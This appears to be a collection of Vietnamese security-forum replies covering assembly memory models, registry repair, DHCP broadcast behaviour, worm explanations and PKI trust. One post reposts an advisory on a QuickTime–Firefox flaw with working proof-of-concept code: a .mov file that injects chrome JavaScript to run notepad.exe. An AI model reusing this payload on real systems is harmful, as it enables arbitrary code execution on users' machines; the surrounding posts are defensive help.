|
|
Bạn hỏi điều khiển chuột trên HĐH nào, Windows hay DOS? C/C++ chỉ là ngôn ngữ lập trình, khả năng điều khiển thiết bị còn phụ thuộc vào thư viện hỗ trợ và HĐH bạn đang lập trình.
Với Windows: xem hàm mouse_event hay http://msdn2.microsoft.com/en-us/library/ms646310.aspx trong MSDN
DOS: xem http://heim.ifi.uio.no/~stanisls/helppc/int_33.html
|
|
|
kegiaumat055 wrote:
Anh ơi cho em hỏi 2 chương trình Hello.asm này đều được viết bằng ASm nhưng sao nó lại khác nhau.Anh có thể giải thích được không và chọn cách viết nào là tốt nhất
Đây là hello.asm thứ nhất:
Code:
Code SEGMENT
ASSUME CS:Code,DS:Code
ORG 100h
Begin
MOV AH,09h
MOV DX,Offset String
Int 20h
String DB ' hello,how are you ? $ '
Code Ends
END Begin
Đây là hello.asm thứ hai:
Code:
.model small
.stack 100h
.data
s DB “hello,how are you ? $” ; khai báo xâu kí tự cần in
.code
mov AX,@data ; lấy địa chỉ data segment ghi vào DS
mov DS,AX ; Vì model small, đây cũng là địa chỉ
; segment của xâu s
; xuất chuỗi
mov DX, OFFSET s ; lấy địa chỉ offset ghi vào DX
mov AH , 9
int 21h ; gọi hàm 9, ngắt 21h để in
mov AH, 4Ch ; Thoát khỏi chương trình
int 21h
end
Khác nhau về cấu trúc của hai đoạn code trên vì chúng sử dụng các mô hình bộ nhớ khác nhau:
- Đoạn code 1 dùng mô hình tiny, cả code & data thuộc một segment (64KB). Mô hình này dịch ra được file .COM trong DOS. Mã sinh ra của file COM thường nhỏ, do không cần exe header như file EXE.
- Đoạn code 2 dùng mô hình small, code & data riêng ở 2 segment khác nhau. Mô hình này dịch ra file exe.
Chú ý là chương trình dùng mô hình tiny bị giới hạn bởi kích thước (64KB), nên thường sử dụng khi viết chương trình nhỏ. Mô hình thứ 2 cho phép viết chương trình kích thước lớn hơn. Cả hai đoạn code trên đều viết cho assembly compiler trên DOS (hoặc DOS ảo), không thể sinh ra file exe thực sự chạy trên WIndows. Muốn viết chương trình bằng asm for Win, cần phải dùng Asm compiler cho Windows. cấu trúc file code Asm viết trên Win về cơ bản khác trên DOS.
PS: Đoạn code thứ nhất quên lời gọi Int 21h để in ra chuỗi ký tự
|
|
|
Bạn có thể gọi hàm API AddFontResource.
Tham khảo thêm ở
http://msdn2.microsoft.com/en-us/library/ms534231.aspx
|
|
|
Kiểm tra Key sau của registry có đúng không:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
Userinit= "C:\WINDOWS\system32\userinit.exe,"
Khi key trên bị thiếu, Windows xảy ra hiện tượng login rồi lại bị logout.
Cách truy cập vào registry khi bị như trên:
- Dùng remote registry.
- Dùng Recovery Console của Windows Boot
...
|
|
|
Địa chỉ download trực tiếp:
http://www.hackerhighschool.org/lessons.shtml
|
|
|
Đã có Firefox 2.0.0.7 rồi. Không cần phải lo về bug này nữa
|
|
|
Một số tài liệu tiếng Anh về FAT32:
http://home.teleport.com/~brainy/fat32.htm
http://www.easeus.com/resource/fat32-disk-structure.htm
(Các tài liệu trên dễ dàng tìm thấy bằng google, keyword: FAT32 structure)
Còn đây là tài liệu tiếng Việt, có mô tả cấu trúc Master Boot Record, Boot Sector, Root Directory, FAT entries, cách chuyển đổi giữa CHS và absolute sector, cluster...
http://rapidshare.com/files/56584414/FAT32.rar
Bạn cần xác định chương trình đọc/ghi đĩa cứng chạy trên nền tảng nào. Nếu là DOS thực hoặc Win9x, có thể truy cập trực tiếp qua intr 13h extension của BIOS (tra cứu techhelp hoặc tìm technical document về Intr này).
Nếu chương trình chạy trên Win2k/XP, do các HĐH này giới hạn truy cập trực tiếp thiết bị vật lý, do đó chỉ có thể truy cập thông qua API của HĐH: là các hàm CreateFile, ReadFile, WriteFile...
|
|
|
Giải pháp hiện tại: disable plugin Quicktime của firefox
Trong C:\Program Files\Mozilla Firefox\plugins, có các file npqtplugin?.dll. Đổi tên thành *.dlx hoặc dời sang thư mục khác.
|
|
|
0DAY: QuickTime pwns Firefox
ISSUE
Petko D. Petkov identified an issue in Quicktime that allows an attacker to execute arbitrary code.
IMPACT
Vulnerable System: Firefox 2.0.0.6 and below.
If Firefox is the default browser when a user plays a malicious media file handled by Quicktime, an attacker can use a vulnerability in Quicktime to compromise Firefox or the local machine. This can happen while browsing or by opening a malicious media file directly in Quicktime. So far this is only reproducible on Windows.
Petkov provided proof of concept code that may be easily converted into an exploit, so users should consider this a very serious issue.
EXPLOIT
Following exploit code will execute notepad.exe
a.mov
Code:
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="a.mp3" autoplay="true" qtnext="-chrome javascript:file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath('c:\\windows\\system32\\notepad.exe');process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);"/>
a.html
Code:
<html>
<body>
<a href = "a.mov">a.mp3</a>
</body>
</html>
ADDITIONAL INFORMATION
More information here: http://www.gnucitizen.org/projects/0day-quicktime-pwns-firefox/
|
|
|
Theo topology: Host A ----- Router ---- DNS Server
Đứng tại hostA không thể lấy được MAC của DNS Server, vì ở giữa có router hoạt động trên tầng 3 nên các MAC trong frames đã bị loại bỏ khi routing gói tin IP.
Đứng tại Router lấy được MAC của DNS Server.
|
|
|
VB Decompiler Pro
Tóm lược chức năng: Công cụ dịch ngược sang mã nguồn các ứng dụng viết bằng VB, đặc biệt với VB biên dịch sang mã P-code. Đây là công cụ không thể thiếu khi cần phân tích virus viết bằng Visual Basic.
Version 3.4
Homepage: http://www.vb-decompiler.org/index.php?p=Products
OS: Windows
Description:
VB Decompiler is decompiler for programs (EXE, DLL or OCX) written in Visual Basic 5.0/6.0. As you know, programs in Visual Basic can be compiled into interpreted p-code or into native code.
Since p-code consists of high-level commands, there is a real possibility to decompile it into the source code (of course, the names of variables, functions, etc. will not be decompiled). VB Decompiler restores many p-code instructions and although there is a long way to the generation of the source code that can be compiled, the decompiler will make analyzing the program algorithm much easier and partially restore its source code.
If a program was compiled into the native code, restoring the source code from machine instructions is not possible. But VB decompiler can help to analyze the program even in this situation as well. It contains a powerful disassembler that supports Pentium Pro commands including MMX and SSE. It allows you to disassemble all functions. There is also a code analyzer that searches for all API function calls and string references in the disassembled code and changes them into comments for analyzed strings. In general, VB Decompiler is an ideal tool for analyzing programs and it is perfect if you lose the source code and need to partially restore the project.
|
|
|
So sánh file gốc và file đã bị sửa đổi, dùng file compare (của trình hex editor nào đó, hoặc lệnh fc của win). VD:
Code:
|
|
|
Để xác định sự cố của một hệ thống (ví dụ là hệ thống máy tính) cần thiết phải liệt kê mọi khả năng dẫn tới hỏng hóc: về yếu tố khách quan tác động lên hệ thống (thời tiết, côn trùng, vật nuôi...), nguyên nhân con người (vô tình tác động, có chủ ý...), nguyên nhân thiết bị (ổn định, hỏng hóc, bất tương thích?), nguyên nhân phần mềm(HDH, virus...). Từ các nhóm yếu tố đó, người có trách nhiệm xử lý sự cố (quản trị viên) mới sử dụng kinh nghiệm và kiến thức để lượng giá từng khả năng, cụ thể hóa dần nguyên nhân gây ra sự cố.
|
|
|
AV thà để diệt ít mà triệt để vẫn tốt hơn phát hiện ra nhiều nhưng diệt sót
|
|
|
Quá trình phát triển một AV thường có hai phần: (i) Thiết kế và xây dựng AV engine; (ii) bảo trì và cập nhật signature database mẫu virus, trong đó phần (ii) tốn khá nhiều công sức của các reversers. Phần (i) của hầu hết AV có đẳng cấp đều có chức năng tương đương nhau.
AV engine ngoài chức năng cơ bản scan file dựa trên signature DB cần có thêm Auto-Protection và Heuristic Engine cho phép nhận dạng một lớp virus phổ biến.
AV có đủ sức tồn tại hay không là nhờ có thường xuyên được cập nhật không . Nếu bạn thường xuyên cập nhật được signatures cho AV của mình, đồng thời phát triển thêm các chức năng trên (lúc đó có lẽ VB là không đủ), thì chắc chắn AV của bạn có hiệu quả cao, được phổ biến rộng rãi )
|
|
|
osamabinladel wrote:
1. con virus chạy mà không cần đây là thế kỉ mấy, còn AV thì coi ngày tốt , cúng kĩ rồi mới delete.
-> Không hiểu ý định bạn định nói gì. :?
osamabinladel wrote:
2. ngắt cứng là ngắt do phần cứng PC tạo ra khi nó đc sờ tới để báo cho hệ diều hành biết nó cần đc phục vụ
-> Làm sao để chặn ngắt phần cứng trong HĐH? Liệu có chặn trước được AV hay không? Bạn nghĩ ra cái này, vậy các AV khi được thiết kế không nghĩ ra chăng ? )
|
|
|
Windows XP SP2 đã giới hạn không cho sử dụng Raw Socket vì lo ngại chức năng này bị lợi dụng để tấn công hệ thống (như CodeRed, Blaster...). Đọc thêm ở http://www.grc.com/dos/intro.htm
|
|
|
Nếu biên dịch bằng gcc, bạn dùng dòng lệnh sau:
Code:
Tùy chọn -o chỉ định file compiled ra là simple, thay vì tên file mặc định là a.out
Để chạy chương trình vừa biên dịch, dùng lệnh sau:
Code:
|
|
|
Kiểm tra value UserInit trong Key sau:
Code:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Giá trị mặc định phải là C:\WINDOWS\system32\userinit.exe. Nếu value này vẫn còn, nhưng giá trị bị xóa hoặc thay đổi sai, sẽ dẫn tới ngay sau khi logon sẽ bị logoff ra ngoài.
Sửa registry có thể qua remote registry hoặc Boot bằng CD có tool edit registry.
|
|
|
Hiện tượng này giống như khi bị nhiễm worm họ Blaster hay Sasser.
Nếu Windows của bạn chưa cài hai bản patch cho các lỗi này, thì ngay khi kết nối internet, có khả năng máy tính bị worm tấn công, shellcode của worm đôi khi khiến service lsass và RPC bị crashed, dẫn tới hệ thống tự động shutdown trong vòng 60s.
|
|
|
Yêu cầu của bạn có thể thực hiện bằng một trong các cách sau:
1. Sử dụng socket programming:
Cho B làm server, tạo một socket listen, chờ kết nối của A. A kết nối socket tới B. Tại A bắt sự kiện key_down của textbox, sự kiện này thực hiện lấy chuỗi ký tự từ textbox, gửi tới B qua socket. B nhận được chuỗi ký tự và hiển thị lên label.
2. Dùng các cơ chế inter-processes communication:
- Dùng pipe: Các hàm CreatePipe, ReadFile, WriteFile.
- Dùng RegisterWindowMessage để định nghĩa một message chung. A tạo một vùng nhớ trong A bằng VirtualAlloc và gửi địa chỉ cho B bằng message trên. B truy xuất vào vùng nhớ này bằng hàm ReadProcessMemory.
- Dùng cơ chế sharing memory của module dll: A và B sử dụng chung một module DLL. Module này định nghĩa vùng nhớ chung bằng chỉ thị biên dịch #pragma section("MyShare", shared, read, write). A và B chia sẻ vùng nhớ chung này.
- Dùng memory-map-file: dùng các hàm CreateFileMapping, MapViewOfFile.. để tạo một mapped-file chung giữa tiến trình A và B.
...
|
|
|
MicrosoftX wrote:
HCP Server, thì việc Client chọn DHCP Server nào, không nằm ở DHCPOFFER Message mà nằm ở DHCPREQUEST Message - Tức bước thứ 3 trong "cuộc đối thoại" của DHCP Client với Network đó
Điều này đúng. Client sẽ lựa chọn dhcp server và thông báo cho phần còn lại biết thông qua broadcast DHCPREQUEST message. (Sorry vì mình lý giải nguyên nhân broadcast của dhcpoffer nhầm ).
Trong url của microsoft, họ mô tả các thông điệp dhcpdiscover, dhcpoffer, dhcprequest... bao gồm các trường của ethernet frame header, ip header, dhcp message. Từ đó thấy là dhcpoffer được gửi đi broadcast: ở tầng network là destip 255.255.255.255, ở tầng datalink là ff:ff:ff:ff:ff:ff. Đây là trường hợp server và client cùng subnet.
Trường hợp không cùng subnet, tức là thông qua BOOTP/DHCP relay agents, DHCPOFFER sẽ gửi đi dưới dạng unicast cho relay agents (địa chỉ unicast được lấy từ ciaddr trong DHCPDISCOVER, là địa chỉ IP của relay agent). Lúc này tùy theo flag broadcast có bật hay tắt mà relay agent sẽ unicast hay broadcast DHCPOFFER trên subnet.
RFC 2131
If the 'giaddr' field in a DHCP message from a client is non-zero,
the server sends any return messages to the 'DHCP server' port on the
BOOTP relay agent whose address appears in 'giaddr'. If the 'giaddr'
field is zero and the 'ciaddr' field is nonzero, then the server
unicasts DHCPOFFER and DHCPACK messages to the address in 'ciaddr'.
If 'giaddr' is zero and 'ciaddr' is zero, and the broadcast bit is
set, then the server broadcasts DHCPOFFER and DHCPACK messages to
0xffffffff. If the broadcast bit is not set and 'giaddr' is zero and
'ciaddr' is zero, then the server unicasts DHCPOFFER and DHCPACK
messages to the client's hardware address and 'yiaddr' address. In
all cases, when 'giaddr' is zero, the server broadcasts any DHCPNAK
messages to 0xffffffff.
Tạm lược dịch:
Nếu trường 'giaddr' trong thông điệp DHCP từ client gửi tới là non-zero, server sẽ gửi trả các thông điệp cho BOOTP relay agent có địa chỉ ghi trong 'giaddr'. Nếu trường 'giaddr' == 0 && 'ciaddr' != 0, server sẽ gửi DHCPOFFER & DHCPACK dưới dạng unicast tói địa chỉ ghi trong 'ciaddr'. Nếu 'giaddr' == 0 && 'ciaddr' == 0, và broadcast bit được bật, thì các thông điệp DHCPOFFER và DHCPACK được gửi broadcast tới 0xffffffff. Nếu broadcast bit bị tắt và 'giaddr' cũng như 'ciaddr' bằng 0 thì server gửi unicast thông điệp DHCPOFFER và DHCPACK tới địa chỉ phần cứng của client và 'yiaddr'. Trong mọi tình huống, khi 'giaddr' bằng 0, server sẽ broadcast DHCPAK tới 0xffffffff
Tóm lược các điều kiện có thể như sau:
Code:
if (giaddr != 0)
{
unicast
}
else
if (ciaddr != 0)
{
unicast
}
else
if (broadcast_bit & 0x1)
{
broadcast
}
else
{
unicast
}
RFC quy định như vậy, nhưng khi capture gói tin DHCPOFFER trong cùng subnet (giaddr==0), (ciaddr==0) và (broadcast_bit == 0), nhưng frame's dest_addr vẫn là ff:ff:ff::ff:ff:ff và ip header's dest_addr là 0xffffffff!
|
|
|
MicrosoftX wrote:
light.phoenix wrote:
Khi nói unicast hay broadcast cần nói rõ ở tầng nào: IP datagram ở tầng Network (địa chỉ broadcast là FF:FF:FF:FF) hay frame ở tầng Data-Link (có địa chỉ broadcast là FF:FF:FF:FF:FF:FF).
Tôi ko nghĩ như bạn. Chả nhẽ việc truyền phát một message dạng Broadcast, Unicast, Anycast, multicast lại còn cần nói rõ thêm ở tầng nào à .
Vì thông thường các protocol được thảo luận chủ yếu hoạt động từ tầng Network, nên mặc định coi broadcast, multicast, unicast là đang nói tới IP datagram trên tầng này.
MicrosoftX wrote:
light.phoenix wrote:
Cho nên nếu nói ở tầng Data-Link, DHCPOFFER gửi đi dưới dạng unicast, còn ở tầng Network, DHCPOFFER vẫn phải gửi đi ở dạng broadcast (vì client lúc này chưa có IP).
một thông điệp dạng Unicast mà qua tầng khác của OSI nó đã biến thành Broadcast sao?. Tài nhẩy ... Cái mô hình phân tầng kia chỉ là lý thuyết, chỉ là mô hình mà thôi
Tại sao lại cần IP trong việc gửi một thông điệp dạng Unicast hả bạn light.phoenix?
Nếu bạn cho rằng IP datagram của DHCPOFFER gửi unicast, vậy trường DestIP của IP datagram trong thông điệp DHCPOFFER nên để giá trị nào ?
Công nhận mình đã nhầm lẫn khi nói Frame của DHCPOFFER có DestMAC là DHCPServer's MAC. Thực sự thì như saddream1985 nói, DestMAC của DHCPOFFER là broadcast, nhằm mục đích thông báo cho các DHCP server khác biết rằng client đã chọn một DHCP server cụ thể trong số các DHCP server trả lời client bằng DHCPOFFER
Tham khảo thêm ở đây:
http://www.microsoft.com/technet/archive/winntas/plan/capacityplanning/a04_dhcp.mspx?mfr=true
@MicrosoftX: Bạn xem gói tin mà saddream1985 gửi lên và mô tả trên url microsoft ở trên, sẽ thấy rõ thông điệp DHCPOFFER (gói tin UDP) được đóng gói trong một IP datagram broadcast, bên ngoài cùng đóng gói trong một Ethernet frame broadcast.
DHCP Offer
Once a DHCP Server has received the Discover packet, and determined that it can accommodate the client's request, it responds with a DHCP Offer message.
The details of the base DHCP Offer frame are:
• Size of 342 bytes.
• Destination Hardware Address of FFFFFFFFFFFF, indicating an Ethernet broadcast.
• Type of packet is IP (0x800).
The details of the 20 byte IP portion of the frame are:
• Source Address is that of the DHCP server.
• Destination Address of 255.255.255.255, indicating a network broadcast, as the client has not acquired an address yet.
...
|
|
|
Khi nói unicast hay broadcast cần nói rõ ở tầng nào: IP datagram ở tầng Network (địa chỉ broadcast là FF:FF:FF:FF) hay frame ở tầng Data-Link (có địa chỉ broadcast là FF:FF:FF:FF:FF:FF).
DHCPOFFER được gửi từ DHCP Server tới DHCP client có:
- IP Datagram:
+ Src IP: IP của DHCP server
+ Dest IP: 255.255.255.255
- Frame Src Addr: MAC của DHCP server
- Frame Dest Addr: MAC của DHCP client (lấy địa chỉ này từ DHCPDISCOVER)
Cho nên nếu nói ở tầng Data-Link, DHCPOFFER gửi đi dưới dạng unicast, còn ở tầng Network, DHCPOFFER vẫn phải gửi đi ở dạng broadcast (vì client lúc này chưa có IP).
|
|
|
ngotiendung wrote:
- tôi sử dụng agile massenger để chát.
- tôi kết nối mạng thông qua wifi ( kết nối thành công)
- khi không duyệt được web máy có thông báo lỗi là: kiểm tra lại địa chi web.(điều này không thể xảy ra bởi vì tôi cũng thường xuyên vào web)
- rất mong nhận được sự giúp đỡ.
- cảm ơn bạn.
Bạn sử dụng WIFI kết nối internet (thông qua AP wireless), đã dùng Agile Messenger để chat trên YIM (?) được. Như vậy kết nối internet của bạn đã thông.
IE thông báo "kiểm tra lại địa chỉ web". Nguyên nhân có thể là:
- Sai địa chỉ web: điều này bạn đã loại trừ
- Site đó bị gateway của AP wireless ngăn chặn: bạn thử vào một website phổ biến như google.com để kiểm tra (thông thường ít khi bị chặn).
- DNS có vấn đề nên không thể lookup được địa chỉ của website: Để thử nghiệm, bạn vào website google trực tiếp bằng IP của nó: http://64.233.167.99.
Cuối cùng, thay vì kết nối wifi để vào internet, bạn thử cắm cable sync giữa O2 Exec & máy tính có kết nối internet, sau đó truy cập internet trên O2 coi có được không? Để xem nguyên nhân lỗi ở máy O2 hay ở WIFI?
Trên Windows Mobile có phổ biến một số trình duyệt như Pocket IE (mặc định), NetFront (v3.4), Opera (v8.65) hoặc Minimo (phát triển dựa trên firefox).
|
|
|
Chat được trên PPC của bạn là dùng chương trình gì, service nào (YIM, MSN...)? Bạn kết nối internet qua GPRS hay wifi ? Khi dùng Pocket IE không thể duyệt được website, có thông báo gì không?
|
|
|
Worm Slammer tấn công ngẫu nhiên các máy bằng cách broadcast gói tin UDP chứa đoạn mã khai thác lỗi.Máy bạn không có cài SQL server 2000, tức là port 1434 của dịch vụ này không sử dụng, nên không thể bị ảnh hưởng bởi gói tin nhận được này. Chương trình KIS của bạn có DB chứa signature về gói tin của slammer, nên cảnh báo vậy thôi.
Tóm lại là bạn không phải làm gì hết Máy bạn cũng chưa hề nhiễm Slammer.
PS: Mình không hiểu sao OneNote lại liên quan gì ở đây ?
|
|
|
Tham khảo cách setup MacOS X trên platform x86 ở đây:
http://wiki.osx86project.org/wiki/index.php/Main_Page
|
|
|
Intrusion.Win.MSSQL.worm là tên khác của worm Slammer, worm này khai thác bug MS02-039 của MS SQL 2000 (từ năm 2002). Update patch cho MS SQL 2000 ở đây:
http://www.microsoft.com/technet/security/bulletin/ms02-039.mspx
|
|
|
Để một certificate(cert) được coi là tin cậy (trust), cần phải có một căn cứ xác đáng để chứng tỏ rằng cert này không phải đồ giả.
Với cert được các "chú ngoại" phát hành, căn cứ đó chính là các root cert, đã được import sẵn trong OS, Browser... Việc giả mạo các cert này không phải đơn giản: chỉ khi nắm được toàn quyền truy xuất hệ thống mới hi vọng thay thế được các root cert này.
Với cert "nội", như của NH Đông Á, điều gì khẳng định cert này là tin cậy, vì nó là seft-cert, tự mình tin tưởng mình. Bất kỳ một ai cũng có thể mang một hệ PKI về (ví dụ: OpenPKI), cài đặt, cấu hình, tự đặt E, CN, OU, O, ST, C hệt như cert của NH Đông Á. Vậy thì sao?
Điều cốt yếu của bất kỳ hệ thống PKI nào (hierachical hay mesh) là đảm bảo an toàn và tin cậy khi phân phối root cert cho các client của mình, đồng thời có các biện pháp an ninh thích đáng với root CA của hệ thống PKI đó. Các "chú ngoại" PKI đã được công nhận rộng rãi, nên họ có lợi thế trong việc phân phát root cert. Với một tổ chức nhỏ nào đó tự mình tổ chức PKI liệu có thỏa đáng không? Ngân hàng nhà nước thành lập một hệ thống PKI riêng (IBPS), không rõ là PKI này đứng độc lập, tách riêng với phần còn lại của thế giới, hay nằm trong một mạng lưới chung của thế giới? Nếu câu trả lời ở ý thứ nhất thì không còn gì để nói, vì hệ thống đó là vô nghĩa, hoạt đông banking không chỉ đơn thuần gói gọn trong một quốc gia mà cần phối hợp ra toàn thế giới. Nếu câu trả lời ở ý sau, nghĩa là IBPS nằm trong một mesh PKI nào đó, được thế giới công nhận. Suy ra, root cert của IBPS cũng phải được một root cert khác công nhận (được signed). Mà đa phần thế giới đang thừa nhận PKI "ngoại", nên để thế giới thừa nhận PKI "nội" thì dĩ nhiên root cert "nội" phải được root cert "ngoại" công nhận.
Cho nên, muốn chơi với "ngoại" thì ta cần được "ngoại" công nhận, không thể tự "mình ta với ta" được.
)
|
|
|
|
|
|
|